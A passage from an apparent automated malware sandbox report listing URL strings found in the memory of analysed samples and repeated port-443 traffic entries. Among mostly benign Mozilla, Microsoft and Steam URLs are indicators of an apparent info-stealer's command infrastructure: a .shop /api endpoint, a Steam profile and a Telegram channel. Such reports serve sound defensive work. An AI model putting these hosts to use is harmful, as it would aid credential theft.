Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/discussions/
Source: katB4C0.tmp, 0000000B.00000002.2791549428.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2399303935.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2658098297.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2352036330.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2367775910.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/login/ho
Source: 76561199689717899[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199689717899
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/m
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/market/
Source: katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: D818.exe, 0000000A.00000002.2305592154.0000000004270000.00000040.00001000.00020000.00000000.sdmp, D818.exe, 0000000A.00000002.2306037473.0000000004570000.00000004.00001000.00020000.00000000.sdmp, D818.exe, 0000000A.00000002.2305075541.0000000002560000.00000040.00001000.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2791549428.000000000095D000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2658098297.0000000000953000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2788838595.0000000000422000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199689717899
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/profiles/76561199689717899/badges
Source: katB4C0.tmp, 0000000B.00000002.2791549428.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2399303935.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2658098297.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2352036330.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2367775910.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/profiles/76561199689717899/inventory/
Source: katB4C0.tmp, 0000000B.00000002.2788838595.0000000000422000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199689717899r0isMozilla/5.0
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://steamcommunity.com/workshop/
Source: 76561199689717899[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/;
Source: 76561199689717899[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/about/
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/explore/
Source: katB4C0.tmp, 0000000B.00000002.2791549428.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2399303935.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2658098297.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2352036330.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2367775910.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/legal/
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/mobile
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/news/
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/points/shop/
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/stats/
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.0000000000976000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: 38F9.exe, 00000006.00000003.2032159873.0000000002CCE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.microsof
Source: DHDHCG.11.dr String found in binary or memory: https://support.mozilla.org
Source: DHDHCG.11.dr String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 38F9.exe, 00000006.00000003.2069016777.0000000002D94000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: DHDHCG.11.dr String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: 38F9.exe, 00000006.00000003.2032159873.0000000002CCC000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2032286413.0000000002CC5000.00000004.00000800.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2788838595.000000000060B000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2470808473.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2460544444.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, KEGCBF.11.dr String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 38F9.exe, 00000006.00000003.2032286413.0000000002CA0000.00000004.00000800.00020000.00000000.sdmp, KEGCBF.11.dr String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000060B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe
Source: 38F9.exe, 00000006.00000003.2032159873.0000000002CCC000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2032286413.0000000002CC5000.00000004.00000800.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2788838595.000000000060B000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2470808473.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2460544444.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, KEGCBF.11.dr String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 38F9.exe, 00000006.00000003.2032286413.0000000002CA0000.00000004.00000800.00020000.00000000.sdmp, KEGCBF.11.dr String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000060B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe
Source: D818.exe, 0000000A.00000002.2305592154.0000000004270000.00000040.00001000.00020000.00000000.sdmp, D818.exe, 0000000A.00000002.2306037473.0000000004570000.00000004.00001000.00020000.00000000.sdmp, D818.exe, 0000000A.00000002.2305075541.0000000002560000.00000040.00001000.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2788838595.0000000000422000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://t.me/copterwin
Source: katB4C0.tmp, 0000000B.00000002.2788838595.0000000000422000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://t.me/copterwinr0isMozilla/5.0
Source: 38F9.exe, 00000006.00000002.2346667476.0000000000609000.00000004.00000020.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2067577469.00000000006B1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://whispedwoodmoodsksl.shop/
Source: 38F9.exe, 00000006.00000002.2347437523.0000000002C73000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2031885108.000000000064B000.00000004.00000020.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2084150195.0000000002C7F000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2031961773.0000000000666000.00000004.00000020.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2211195414.0000000002C72000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000002.2346667476.00000000006AF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://whispedwoodmoodsksl.shop/api
Source: 38F9.exe, 00000006.00000002.2346667476.00000000006AF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://whispedwoodmoodsksl.shop/apiEs#
Source: 38F9.exe, 00000006.00000003.2031885108.000000000064B000.00000004.00000020.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2031961773.0000000000666000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://whispedwoodmoodsksl.shop/apiQ
Source: 38F9.exe, 00000006.00000003.2119605689.00000000006B1000.00000004.00000020.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2120009035.00000000006B1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://whispedwoodmoodsksl.shop/apicC
Source: 38F9.exe, 00000006.00000002.2346667476.0000000000609000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://whispedwoodmoodsksl.shop/lV
Source: 38F9.exe, 00000006.00000002.2346667476.0000000000609000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://whispedwoodmoodsksl.shop/rr
Source: 38F9.exe, 00000006.00000003.2031885108.000000000064B000.00000004.00000020.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2031961773.0000000000666000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://whispedwoodmoodsksl.shop/y
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1725399899.000000000C557000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000001.00000000.1725399899.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://word.office.com
Source: katB4C0.tmp, 0000000B.00000002.2791549428.0000000000B04000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2791549428.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, DHIEHI.11.dr String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr, nss3.dll.11.dr, mozglue[1].dll.11.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: 38F9.exe, 00000006.00000003.2032985420.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2033348282.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2032872593.0000000002CB9000.00000004.00000800.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2483229226.0000000000A39000.00000004.00000020.00020000.00000000.sdmp, DAEBKK.11.dr String found in binary or memory: https://www.ecosia.org/newtab/
Source: katB4C0.tmp, 0000000B.00000002.2791549428.0000000000B04000.00000004.00000020.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2791549428.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, DHIEHI.11.dr String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: 38F9.exe, 00000006.00000003.2032985420.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2033348282.0000000002CB7000.00000004.00000800.00020000.00000000.sdmp, 38F9.exe, 00000006.00000003.2032872593.0000000002CB9000.00000004.00000800.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2483229226.0000000000A39000.00000004.00000020.00020000.00000000.sdmp, DAEBKK.11.dr String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/recaptcha/
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: DHDHCG.11.dr String found in binary or memory: https://www.mozilla.org
Source: katB4C0.tmp, 0000000B.00000002.2788838595.0000000000572000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/
Source: katB4C0.tmp, 0000000B.00000002.2788838595.0000000000572000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/532
Source: katB4C0.tmp, 0000000B.00000002.2788838595.0000000000572000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/532exe
Source: DHDHCG.11.dr String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: katB4C0.tmp, 0000000B.00000002.2788838595.0000000000572000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/
Source: DHDHCG.11.dr String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: katB4C0.tmp, 0000000B.00000002.2788838595.0000000000572000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/xe
Source: katB4C0.tmp, 0000000B.00000002.2788838595.0000000000572000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 38F9.exe, 00000006.00000003.2069016777.0000000002D94000.00000004.00000800.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2657504596.000000001E223000.00000004.00000020.00020000.00000000.sdmp, DHDHCG.11.dr String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: katB4C0.tmp, 0000000B.00000002.2788838595.0000000000572000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/QCvivEbfrAF.exe
Source: katB4C0.tmp, 0000000B.00000002.2788838595.0000000000572000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/al
Source: DHDHCG.11.dr String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: katB4C0.tmp, 0000000B.00000002.2788838595.0000000000572000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: katB4C0.tmp, 0000000B.00000002.2788838595.0000000000572000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: 38F9.exe, 00000006.00000003.2069016777.0000000002D94000.00000004.00000800.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2657504596.000000001E223000.00000004.00000020.00020000.00000000.sdmp, DHDHCG.11.dr String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 00000001.00000000.1721748248.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000001.00000000.1721748248.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000001.00000000.1721748248.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe
Source: katB4C0.tmp, 0000000B.00000002.2788838595.000000000043C000.00000040.00000400.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000003.2336765418.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 76561199689717899[1].htm.11.dr String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com
Source: katB4C0.tmp, 0000000B.00000003.2317523394.0000000000983000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown Network traffic detected: HTTP traffic on port 49771 -> 443
